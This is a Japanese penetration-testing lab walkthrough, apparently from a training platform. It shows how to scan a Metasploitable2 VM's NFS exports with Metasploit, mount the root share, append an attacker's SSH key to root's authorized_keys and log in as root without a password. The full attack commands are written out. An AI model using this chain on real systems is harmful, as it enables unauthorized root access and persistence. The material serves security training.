はじめに
ネットワークファイルシステム (Network File System, NFS) は、ユーザーがリモートファイルをローカルファイルのようにアクセスできる分散ファイルシステムプロトコルです。しかし、NFS の設定が不適切な場合、深刻なセキュリティホールにつながり、攻撃者がシステムに不正アクセスする可能性があります。この実験では、NFS の設定ミスを利用してターゲットマシンにルートアクセスする方法を学びます。
この実験の目的は、NFS の設定ミスに関連するリスクを理解し、NFS ベースの攻撃を成功させる方法を学ぶことです。実験終了時には、NFS 共有を特定し、ローカルにマウントし、設定ミスを利用してターゲットシステムでルート権限を取得する実践的な経験を積むことができます。
NFS 共有をスキャンする
このステップでは、Metasploit Framework を使用してターゲットマシンの NFS 共有をスキャンします。
ここで、実験用の攻撃マシン(Kali Linux コンテナ)とターゲットマシン(Metasploitable2 仮想マシン)を起動します。
- LabEx ホストマシンで xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するまで待ちます。起動には 1 - 3 分かかる場合があります。
- ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- Kali Linux コンテナを起動し、以下のコマンドを実行して bash 環境に入ります。
docker run -ti --network host --privileged b5b709a49cd5 bash
ここでは追加の --privileged パラメータがあります。これは、コンテナ内の root が実際の root 権限を持つようにするために使用されます。そうしないと、コンテナ内の root は外部の権限を持つ通常のユーザーに過ぎません。--privileged パラメータでコンテナを起動すると、ホスト上の多くのデバイスを見ることができ、mount を実行することができ、さらにはコンテナ内で Docker コンテナを起動することもできます。
- Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
これで攻撃マシンとターゲットマシンの両方が起動しており、ペネトレーションテストを開始することができます。
- 次に、Metasploit コンソールを起動します。
cd ~
msfconsole
- Metasploit コンソールで、
auxiliary/scanner/nfs/nfsmountモジュールを使用して NFS 共有をスキャンします。
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit
このモジュールはターゲットシステムをスキャンし、エクスポートされている NFS 共有を表示します。
Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します
NFS 共有をマウントする
このステップでは、Kali コンテナに NFS のルート共有をマウントします。
まず、nfs-common パッケージをインストールします。
cd /
apt-get install -y nfs-common
NFS のルート共有をマウントします。
mount -t nfs -o nolock 192.168.122.102:/ /mnt
このコマンドは、ターゲットシステムのルートディレクトリ (/) を Kali コンテナの /mnt ディレクトリにマウントします。
/mnt ディレクトリの内容を一覧表示することで、NFS 共有が正しくマウントされていることを確認します。
ls /mnt
ターゲットシステムのルートディレクトリの内容が表示されるはずです。
SSH キーペアを作成する
このステップでは、ターゲットシステムへのパスワードレス SSH アクセスを可能にするために、SSH キーペアを作成します。
SSH キーペアを生成します。
ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa
このコマンドは、2 つのファイル /root/.ssh/id_rsa(秘密鍵)と /root/.ssh/id_rsa.pub(公開鍵)を作成します。
パスワードレス SSH アクセスを有効にする
このステップでは、公開鍵をターゲットシステムの承認済みキーファイルに追加し、パスワードレス SSH アクセスを有効にします。
公開鍵をターゲットシステムの承認済みキーファイルにコピーします。
cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys
このコマンドは、公開鍵ファイルの内容をターゲットシステムの /root/.ssh/authorized_keys ファイルに追加します。
ルートアクセスを取得する
このステップでは、パスワードレス SSH アクセスを使用して、ターゲットシステムにルートユーザーとしてログインします。
SSH を使用してターゲットシステムに接続します。
ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss root@192.168.122.102
これで、パスワードを求められることなく、ターゲットシステムでルートシェルを取得できるはずです。
まとめ
この実験では、NFS の設定ミスを利用して、ターゲットシステムに不正なルートアクセスを取得する方法を学びました。まず、Metasploit Framework を使用して NFS 共有をスキャンし、次にローカルマシンに NFS のルート共有をマウントしました。次に、SSH キーペアを作成し、公開鍵をターゲットシステムの承認済みキーファイルに追加して、パスワードレス SSH アクセスを有効にしました。最後に、パスワードレス SSH アクセスを使用して、ターゲットシステムにルートユーザーとしてログインしました。
この実験は、NFS 共有を適切に設定することの重要性と、設定ミスに関連する潜在的なリスクを示しています。これらの脆弱性を理解することで、システムをより安全にし、潜在的な攻撃から保護することができます。



